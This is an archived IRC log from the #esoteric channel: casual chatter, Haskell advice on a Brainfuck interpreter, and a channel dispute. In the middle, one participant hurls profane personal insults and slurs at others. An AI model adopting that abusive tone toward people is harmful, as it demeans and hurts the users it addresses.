< 1269369683 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269369693 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :bad!!! < 1269369707 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric ::x < 1269369719 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :wait i've been virturaped < 1269369945 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Ι < 1269369948 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :that's Iota :( < 1269369956 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's the same danm thing < 1269369960 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh nvm ι works < 1269370070 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1269370380 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :fuck < 1269370969 0 :Cyclist2!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269371031 0 :augur!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269371033 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :? < 1269371045 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, what has gone wrong? < 1269371055 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :just spilled my tea < 1269371152 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i heard coffee is the new tea < 1269371252 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I heard coffee is delish. < 1269371798 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1269372004 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i heard coffee is makes you pee. < 1269372127 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :no that can't be true i peed today and i haven't drunked any coffee < 1269372368 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269372399 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :have you ever had any coffee? < 1269372582 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : just spilled my tea <-- as long as it wasn't on the computer or anything like that it shouldn't be too bad < 1269372601 0 :charlls!~charlls@201.226.222.130 JOIN :#esoteric < 1269372614 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also I assume it was in the kitchen? As you (or I at least) never take any fluids near a computer for safety reason < 1269372714 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269372719 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :you're such a geek < 1269372721 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :;D < 1269372737 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i sometimes even take baths with my laptop < 1269372864 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION has fluids near someone else's computer
< 1269373817 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric : also I assume it was in the kitchen? As you (or I at least) never take any fluids near a computer for safety reason < 1269373827 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :I drink tea in front of my computer like... at least twice a day < 1269373984 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :And I've had tea spilled out on my keyboard lots of times < 1269373986 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :Works just as well < 1269374300 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : i sometimes even take baths with my laptop <-- really? < 1269374611 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1269375444 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1269379119 0 :sshc!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1269379222 0 :sshc!~sshc@unaffiliated/sshc JOIN :#esoteric < 1269382795 0 :wareya!~wareya@cpe-74-70-140-214.nycap.res.rr.com JOIN :#esoteric < 1269382878 0 :Tritonio_GR!~Tritonio@150.140.224.130 JOIN :#esoteric < 1269384071 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269384100 0 :charlls!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269384117 0 :sebbu2!~sebbu@ADijon-152-1-41-200.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1269384237 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1269384238 0 :sebbu2!unknown@unknown.invalid NICK :sebbu < 1269384724 0 :sshc_!~sshc@unaffiliated/sshc JOIN :#esoteric < 1269384915 0 :sshc!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1269385027 0 :sshc!~sshc@unaffiliated/sshc JOIN :#esoteric < 1269385127 0 :sshc_!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1269385343 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1269385836 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1269385897 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1269386421 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Any Haskell enthusiasts present? < 1269386552 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :coppro, not an enthusiast per se, but I know a bit < 1269386565 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :looking for someone with experience < 1269386574 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :and I'm too lazy to go to #haskell < 1269386616 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :o.O at supreme laziness < 1269386723 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :actually, I want style advice < 1269386729 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :and IRC is not usually a great place for that < 1269386742 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :coppro what is ti?? < 1269386748 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it < 1269386755 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :fax: like I said, just style advice < 1269386759 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :YES AND?? < 1269386763 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :do you program Haskell a lot? < 1269386769 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :never heard of it < 1269386774 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :then you can't help! < 1269386777 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I can probably work it though < 1269386829 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :no, you can't < 1269386853 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION <3 Haskell
< 1269386853 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hey look at me in a haskell programmer!! "monads monasd lol category theory" < 1269386863 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :hi coppro < 1269386869 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1269386881 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :can you help? < 1269386884 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1269386886 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :fax: that's not how haskell programmers talk < 1269386910 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :adu: "huhu I just invented a new semantic monad combinator liberry!" < 1269386912 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :coppro: with... < 1269386917 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :adu: Haskell style < 1269386922 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :style? < 1269386922 0 :MigoMipo!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269386945 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yeah, like "you should do X instead of Y" < 1269386967 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :I've written 2 libraries on Hackage, so I would not consider myself an expert < 1269386981 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :iirc dons has written thousands of libraries, perhaps you should ask him < 1269386997 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :what's your question? < 1269387027 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :well, I'm trying to implement a vital piece of software - a BF interpreter < 1269387040 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :coppro, that's not possible in haskell < 1269387043 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :BF = brainf**k? < 1269387049 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's a pure functional language so it can't do input/output < 1269387051 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :fax, coppro sure its possible < 1269387052 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269387061 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :no way I just checked the wiki page right now < 1269387062 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :fax: yes, it can. There's a particularly elegant solution to this problem < 1269387067 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it says 'purely functional' < 1269387076 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yes. You work on IO objects < 1269387084 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh it's object oriented? < 1269387085 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I can do that < 1269387090 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :fax: you obviously know nothing about Haskell, so stop making these kinds of assertions < 1269387090 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION slaps fax
< 1269387096 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269387108 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wanted to make a BF interpreter in Haskell at some point
< 1269387116 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :Haskell _is_ purely functional, except two datatypes: IO and ST < 1269387122 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :anyways, I have a few questions... first off, is there anything at http://pastie.org/883776 which seems wrong? < 1269387150 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :coppro, there's a brainfuck interpreter that using LLVM to JIT It in the examples for the llvm binding < 1269387161 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :fax: I'm aware < 1269387169 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :coppro so why are you doing this :S < 1269387177 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Why two [Instruction]s? < 1269387220 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :coppro you should turn the lex ([Instructions]) into a parse tree, so that implementing loops doesn't involving searching for a balanced paren < 1269387235 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :instead of this weird stacky thing you seem to be doing < 1269387261 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :It's so that when it's running, the program will use two lists; instructions are shoved from one to the other as the program advances; I could use a parse tree but that sounds complex :P < 1269387264 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION would think that instead of StartLoop/EndLoop, just a Loop [Instruction] makes sense
< 1269387266 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :also if you used list instead of maybe the lex function would be omre natural < 1269387279 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :coppro -- um you implement parsing either way < 1269387289 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo is right < 1269387293 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :wait < 1269387299 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :you're the one who knows nothing about haskell < 1269387302 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Wait, why is fax commenting on Haskell? < 1269387306 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I just read the wiki page < 1269387309 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's obvious < 1269387314 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :hahaha < 1269387325 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and I alreayd know brainfuck < 1269387339 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION considers /ignore
< 1269387340 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What does catMaybes do? < 1269387345 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION hoogles
< 1269387349 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: takes a list of Maybes and removes the Nothings < 1269387358 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Ah < 1269387374 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :coppro: you should change the "$" to a "." < 1269387386 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :coppro: that would make parseBF :: [Char] -> BFProgram < 1269387403 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oops, yeah, that's a holdover from an earlier version < 1269387420 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :it won't compile with $ anyways < 1269387433 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :USE MONADS LOL < 1269387441 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Maybe < 1269387446 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Maybe's a monad, lists are monads < 1269387448 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :fax: that's not funny < 1269387454 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Although I don't think e's using them monadically < 1269387454 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it makes me laugh < 1269387456 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I'm not sure < 1269387471 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Nope < 1269387506 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION still dislikes StartLoop/EndLoop
< 1269387509 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :hmm... what does List's >>= do? < 1269387516 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: in what sense? the names? < 1269387530 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :coppro, the fact that it's not a Loop [Instruction] < 1269387539 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1269387540 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :But then, instruction would be more complex < 1269387547 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :exactly why I didn't do that < 1269387552 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :coppro: it takes 2 parameters: a list an a function of type (a -> [b]) and outputs a list of results < 1269387566 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :coppro [] is nondeterministic search < 1269387583 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :hey, thanks, fax, you helped me make up my mind! /ignore it is! < 1269387589 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you fucking idiot < 1269387590 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :coppro: its actually the same as ',' in list-comprehension syntax < 1269387598 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :adu: ah, ok! < 1269387598 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :why am I surrounded by such mrons < 1269387599 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :fax: stop that please < 1269387607 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :adu, seriously he's just a stupid cunt < 1269387619 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :fax is actually kind of right, if I remember my random keywords correctly. Lists, monadically, represent nondeterministic values. [1,2,3] is a value that could be 1, 2, or 3 < 1269387622 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :fax: i'm ignoring you < 1269387635 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Not sure what "search" was about. Just fax being an idiot, probably < 1269387637 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :adu, first off he spent about 20 mins trying to find someone elite enough to help him instead of just asking the damn question, now he's being a tit about /ignore (twice) < 1269387660 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: fuck you too, never heard of a tree search algorithm? < 1269387675 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, I'm not 'kind of right' I'm 100% accurate < 1269387679 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is thinking he'll just drop the type constructor and alias BFProgram to the list, then use a record for the VM (which contains two lists of integers and two of instructions)
< 1269387732 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I'm the worlds best haskell programmer so don't underestimate me < 1269387737 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :coppro: so that looks find to me, stylistically at least < 1269387748 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Ok < 1269387750 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :thanks < 1269387779 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :although, i would probably just keep the characters, as you can pattern match on the characters just as well as the data constructors < 1269387798 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo -- seriously... you never heard of depth first search? < 1269387811 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo -- it's kind of uh, an important thing in computing < 1269387814 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :the only advantage i can see of transforming the characters into a new datatype is eliminating the "else" case < 1269387863 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :but if that's why you did that, then keep it < 1269387874 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I thought you guys were cool and could take a joke but (coppro and adu) guess not < 1269387917 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :adu: yeah, I thought about that < 1269387932 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :but I need an AST! :P < 1269388004 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :well, the only "tree" involved in BF that I can think of is the compression of +++++ into (Increment 5) < 1269388008 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :fax: are you hot < 1269388017 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269388030 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :i wonder what fax is saying now < 1269388030 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :adu: think about [] perhap < 1269388038 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :too bad I'll never know < 1269388038 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :adu: what I'm saying is you're a dork < 1269388053 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :adu: I just said that because I thought you'd be looking in the logs :/ < 1269388071 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders why you lot are being such elitist twerps
< 1269388088 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yes. It is too bad. < 1269388090 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :(especially since you're talking about total beginner stuff..) < 1269388105 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :whatever shall I do < 1269388139 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :coppro: You could spent all your time being an annoying twat and rubbing in the fact that you /ignored me (after going on and on about 'ill do it!! I swear') < 1269388144 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :fax: How are you anyway? < 1269388193 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :The only thing I don't get is why Sgeo called me an idiot < 1269388254 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I mean I get the idea that he was just pattern matching what I said against keywords he half remembered, but he knows he's doing that too -- so why does he feel sure enough with that to conclude that I'm an idiot? < 1269388269 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I'm not denying it, of course .. but his reasoning wasn't sound < 1269388325 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Do you have me on ignore? :( < 1269388439 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :hey can someone ask fax if I'm on ignore < 1269388475 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :lol @ fax dissing above :D < 1269388499 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :"hey why don't you do it this better way" "nah, because you don't know any haskell" < 1269388510 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: I could ask him, but I wouldn't get to see the reply < 1269388535 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: can you ask? < 1269388536 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :coppro should learn about the IRC logs < 1269388556 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :fax: is Quadrescence on ignore? < 1269388567 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yeah why < 1269388571 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :he wanted me to ask < 1269388577 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :he was being a cunt in #~math < 1269388587 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh i thought it was just "Quadrescence: fax: are you hot" < 1269388591 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :no < 1269388601 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: [17:48.39] fax: How are you anyway? < 1269388603 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :say that too :( < 1269388609 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :he schooled me for about a hour (huge waste of time) in this really arrogant way, and what he was saying wasn't even correct < 1269388647 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I just thought, fuck this and left his channel... apparently he followed me in here < 1269388667 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I did not follow, I came here because of someone else's recommendation < 1269388674 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :which is kind of nasty but I dont' really have any right to tell people to fuck off, and even if I did (which I would do) it wouldn't work < 1269388723 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: i'm not going to ask her how she's doing < 1269388734 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :you will not be able to ask that question through me < 1269390070 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Does Haskell have a way to name parts of patterns? < 1269390084 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :@ < 1269390150 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :thanks < 1269390202 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :no prob < 1269390470 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fax: of course BF is possible in Haskell < 1269390500 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, AnMaster vs. alise is bad enough, I don't really like disputes/ignore-battles between #esoteric regulars < 1269390514 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :they started it < 1269390571 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :why can't we all just get along :'( < 1269390577 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :because this is the Internet < 1269390587 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :no YOU are the internet < 1269390632 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION was getting along fine until people started being uppity /ignore users
< 1269390755 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :no actually i think they *first* got annoyed, *then* started to threaten with ignore! < 1269390761 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION shuts up now
< 1269390780 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :so how's this democracy i've been hearing about < 1269390786 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :does it work? < 1269390889 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: depends on what you want it to achieve < 1269390937 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :next topic: "Quadrescence: I did not follow, I came here because of someone else's recommendation" <<< who? < 1269390957 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :ais523: say i'm trying to take over the world < 1269390964 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :but without hurting anyone < 1269390974 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, I don't think democracy is a good tool for that < 1269390980 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but then, I can't think of anything else that would work well either < 1269391014 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :what if i killed everyone so democracy would actually just be me in a voting booth < 1269391034 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: then it's no different from any other form of government, just with more paperwork < 1269391046 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :hmm right, i guess < 1269391135 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: I won't disclose < 1269391153 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i'll do anything < 1269391157 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :and i mean anything < 1269391219 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :this is a pretty great channel, i can do anything i want and no one gets mad < 1269391223 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :like watch this < 1269391223 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :o < 1269391224 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :o < 1269391224 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :o < 1269391224 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :o < 1269391224 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :o < 1269391224 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :o < 1269391225 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :o < 1269391225 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :o < 1269391226 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :o < 1269391226 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :o < 1269391227 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :o < 1269391229 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oko < 1269391232 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :^ that's like 3 o's right there < 1269391238 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :o' < 1269391241 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and that's more than 3 o's < 1269391242 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :s form a ring < 1269391257 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric : \o_ < 1269391262 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :aw :( < 1269391270 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :i want my bot < 1269391272 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :o oko okoko okokoko okokokoko < 1269391278 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :okokokokokokokokokoko < 1269391280 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :okokokokokokokokokoko < 1269391282 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :okokokokokokokokokokoko < 1269391284 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :okokokokokokokokokokokokoko < 1269391286 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :okokokokokookokokokokoko < 1269391289 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklokonuabfon < 1269391290 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://www.youtube.com/watch?v=WOdN-d-JogQ < 1269391403 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1269391442 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :the math is too advanced for me < 1269391520 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :we made an and port from these tiny sticks once with a friend < 1269391544 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :we were gonna make a xor but that would've taken too long the way we were doing it < 1269391555 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :that's pretty neat < 1269391610 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :tiny sticks?? < 1269391658 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, don't you mean "gate", rather than "port"? < 1269391670 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and how do you pronounce "xor" for it to start with a consonant?# < 1269391769 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh lol yeah < 1269391791 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :DAMN BUFFERING < 1269391799 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :"ksoar" < 1269391876 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i think it's a finnishm < 1269391877 0 :cheater3!~cheater@ip-80-226-18-72.vodafone-net.de JOIN :#esoteric < 1269391899 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :just like i sometimes say "irk" for IRC instead of "i are sea" < 1269391940 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wants a language where he can use D'ni numerals for integer constants.
< 1269391951 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :what are D'ni numerals < 1269391960 0 :cheater2!unknown@unknown.invalid QUIT :Read error: No route to host < 1269391996 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Numerals used by the [ficticious] D'ni civilization < 1269392003 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/File:D'ni_numerals.svg < 1269392030 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lovely < 1269392043 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I played that game < 1269392044 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Riven < 1269392058 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION has started playing Uru Live
